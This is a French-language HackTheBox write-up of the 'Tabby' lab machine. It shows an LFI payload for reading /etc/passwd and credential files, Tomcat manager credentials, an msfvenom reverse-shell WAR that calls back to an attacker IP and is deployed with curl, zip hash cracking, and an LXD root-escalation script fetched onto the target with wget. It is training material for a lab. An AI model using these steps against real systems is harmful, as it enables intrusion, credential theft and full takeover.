> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Compte rendu HackTheBox de Tabby

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**Compétences :**

* Inclusion de fichiers locaux (LFI)
* Abus du gestionnaire d’hôtes virtuels Tomcat
* Abus du gestionnaire textuel Tomcat - Déploiement d’un WAR malveillant (méthode curl)
* Exploitation de LXD (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/64335813314d0500f0a576321fd66b89dfed25dc" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/7d321a1c0653a0e83e3f63d8105fc19dff804c31" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/e23a0e96e4962d2fd469090143dee8a2115cbbe1" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/3b7f84e6fde639f75c974f98f786a1fdccd523ea" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/2165f91501698268c55c237a455b5e52dcfd7430" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/a887e50732a0a259a01f3ad43221563a9eb7cc51" alt=""><figcaption></figcaption></figure>

### **Port 80 :**

<figure><img src="/files/15eb6e5bd3edbac6f48c1163d9979573509cf2b3" alt=""><figcaption></figcaption></figure>

**Recherche de répertoires :**

Nous utilisons Gobuster pour rechercher des répertoires sur le site :

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **Résultats :** `assets`, `files`, et `server-status`.

<figure><img src="/files/a1312afb6fe47682e4907df98ac82820f2c4e9c8" alt=""><figcaption></figcaption></figure>

Recherche de sous-domaines :

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/f8ad2b04020e61ac786e8d4accd3fa75ed46a419" alt=""><figcaption></figcaption></figure>

## Vulnérabilité LFI :

Accéder au fichier vulnérable `new.php` via un `?file` variable dans le `instruction` dossier.

<figure><img src="/files/d8cf1be98576b80a7469f6989777f94387ce2e1c" alt=""><figcaption></figcaption></figure>

**Test d’inclusion de fichier local (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/bfc9ec75f88c02c439dc03e99f20d70a8f9d59d7" alt=""><figcaption></figcaption></figure>

* **Résultat :** Accès au fichier `/etc/passwd`, révélant deux utilisateurs : `ash` et `root`.

**Tentative d'accès à la clé SSH privée d'Ash**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **Résultat :** Accès refusé.

<figure><img src="/files/7702b5bf8de120c0f9058a242b040974c5c7db30" alt=""><figcaption></figcaption></figure>

**Recherche des ports internes** via le `/proc/net/tcp` fichier pour identifier les services cachés :

<figure><img src="/files/765c18ab2b3e711f578a3f402cf3dab56c1e89eb" alt=""><figcaption></figcaption></figure>

**Recherche des ports internes** via le `/proc/net/tcp` fichier pour identifier les services cachés :

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # Prendre le champ local_address
    split($2, addr_port, ":");
    
    # Convertir l'adresse au format IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # Convertir le port en décimal
    port = strtonum("0x" addr_port[2]);
    
    # Afficher le résultat au format IP:Port
    printf "%s:%d/n", ip, port;
}'
```

**Résultat :** Découverte du port interne `34650`

<figure><img src="/files/6f9b776169fe2c7f4bde1398a90b026ebadbe3cc" alt="" width="563"><figcaption></figcaption></figure>

### **Exploitation du gestionnaire d’hôtes virtuels Tomcat (port 8080)**

**Accès à Tomcat** via le port 8080 et recherche d’informations d’authentification. Par défaut, celles-ci sont stockées dans `/etc/tomcat9/tomcat-users.xml` ou `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/b21bdbee1ab220d996acd9a2969822850c638f86" alt=""><figcaption></figcaption></figure>

**Identifiants** trouvés :

`nom d'utilisateur = tomcat`

`mot de passe = $3cureP4s5w0rd123!`

<figure><img src="/files/3ab2f9e0d7af259f963cc2147d81d194d161bc46" alt=""><figcaption></figcaption></figure>

**Tentative d’accès à** `/manager/html` renvoyant une erreur 403.<br>

<figure><img src="/files/b9913867346920a0f8b1e55179c35e4eb8b5106b" alt=""><figcaption></figcaption></figure>

1. **Alternative via `/host-manager/html`**, mais impossible de créer une application avec un `.war` .

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/2419eef5ae903b409a740f4fdc5907a51481fd7c" alt=""><figcaption></figcaption></figure>

### **Exploitation du gestionnaire textuel Tomcat**

**Lister les applications en ligne de commande**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/fdf2607db97b49f253cb4a699a9aecdb371a8b58" alt=""><figcaption></figcaption></figure>

**Création d’un fichier WAR pour un shell inversé** par `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/034f17d7c150edc280834760d67edc386dbdd772" alt="" width="563"><figcaption></figcaption></figure>

**Déploiement du fichier WAR** via curl :

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/103dfc0af74bc269e8b30abd997b07e5222ce31a" alt=""><figcaption></figcaption></figure>

**Écoute de la connexion du shell inversé**

```bash
nc -nlvp 443 
```

**Accès au shell inversé** via l’URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/21d7fff93e02ec661d5c8e7929b8c0036eade524" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd6889b9cf80bc5cb30657eba7663ecfd74eb4d9" alt="" width="563"><figcaption></figcaption></figure>

#### Gestion du terminal

Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour gérer le terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisez le shell pour travailler plus confortablement. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Élévation de privilèges :

**Exploration du `/var/www/html`** dossier/ En examinant le contenu de ce dossier, nous découvrons un dossier `files` contenant un fichier de sauvegarde : `16162020_backup.zip`.

**Transfert du `.zip` fichier vers la machine locale**

Pour faciliter l’analyse, nous transférons le fichier compressé vers notre machine locale en démarrant un serveur HTTP avec Python :

```bash
python3 -m http.server 655
```

<figure><img src="/files/17cadca44530f017324244e786c4f1b5ece108d1" alt=""><figcaption></figcaption></figure>

### Bruteforce du fichier .zip :

**Décompression du fichier `.zip` - Bruteforce du mot de passe**/ Le `.zip` Le fichier est protégé par mot de passe.

<figure><img src="/files/c70334ab9d13eba56c08a260e8caf677f7924277" alt="" width="563"><figcaption></figcaption></figure>

**Extraction du hash avec `zip2john`**:

Nous allons donc utiliser zip2john pour extraire le hash

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/629a628ee09a88ef257ba11bd232008c7e3c3e70" alt=""><figcaption></figcaption></figure>

**Cracking du mot de passe avec `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**Résultat**: Mot de passe trouvé - `admin@it`.

<figure><img src="/files/78bfe8fd875acb04ac9ee41e08053eaa149f4c58" alt=""><figcaption></figcaption></figure>

**Décompression et analyse du contenu**/ Utilisez le mot de passe pour décompresser l’archive :

<figure><img src="/files/36798421cdba2120e96e517250dc92ec707a491a" alt="" width="563"><figcaption></figcaption></figure>

La décompression crée un `var` dossier contenant quelques fichiers utiles. Cependant, le `admin@it` mot de passe fonctionne aussi pour le `ash` utilisateur sur la machine cible.

### Drapeau User.txt

<figure><img src="/files/575f9a78437428d5648c7567e58e5207cd799ea4" alt="" width="563"><figcaption></figcaption></figure>

### Exploitation de LXD :

**Identifier que l’utilisateur `ash` appartient au `lxd` groupe**:

En vérifiant les groupes auxquels appartient l’utilisateur `ash` appartient, nous remarquons qu’il fait partie du `lxd` groupe, ce qui permet d’exploiter LXC pour obtenir des privilèges root.

<figure><img src="/files/c03c15ea2e8dbcdd9ea75e8dc5fb2d302eb11b91" alt=""><figcaption></figcaption></figure>

**Téléchargement et préparation de l’exploit**:

Utilisez `searchsploit` pour obtenir le script d’exploitation de la vulnérabilité LXC (CVE-2020-16941)

<figure><img src="/files/dc66fbef70649688ae74aa22a1082bad413b1051" alt="" width="563"><figcaption></figcaption></figure>

Ce script permet d’exploiter la vulnérabilité LXC pour exécuter des commandes avec des privilèges élevés.

**Contenu du script d’exploitation (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUtilisation :"
  echo -e "/t[-f] Nom de fichier (.tar.gz fichier alpine)"
  echo -e "/t[-h] Afficher ce panneau d’aide/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Liste des images.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  nettoyage
}

function cleanup(){
  echo -en "/n[*] Suppression du conteneur..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* Le script nous permet de créer un conteneur LXC avec des privilèges élevés, ce qui nous permet d’obtenir un accès root sur la machine cible.

**Téléchargement du fichier image Alpine et du script :**

Clonez le dépôt contenant les fichiers nécessaires à l’exploitation et transférez-les sur votre machine via un serveur HTTP local.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Démarrez un serveur HTTP local pour servir le fichier et le script

```bash
python3 -m http.server 80
```

Sur votre machine cible, téléchargez le script et le fichier image :

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/9ba9caf34e4b7bd837ddede95715232736ced8ad" alt=""><figcaption></figcaption></figure>

**Mise à jour du PATH**:

Adaptez le `PATH` afin de vous assurer que les commandes LXC sont correctement interprétées.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Exécution du script d’exploitation**

Exécutez le script avec le fichier image Alpine téléchargé pour exploiter la vulnérabilité et obtenir un shell root :

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/345eed4290587a9a55e6486c245222de1743bdf3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/94d4cf36f3bb02acb8e1ece8af60e1fca3d4b451" alt=""><figcaption></figcaption></figure>

Pour quitter le conteneur, il suffit d’aller dans le `/mnt/root` répertoire.

### Flag root :)

<figure><img src="/files/d875d8545c65f0130b8751f4b63083d7648fb3cc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c89036c4faa71c4eb2b43ca5640532a667721f09" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
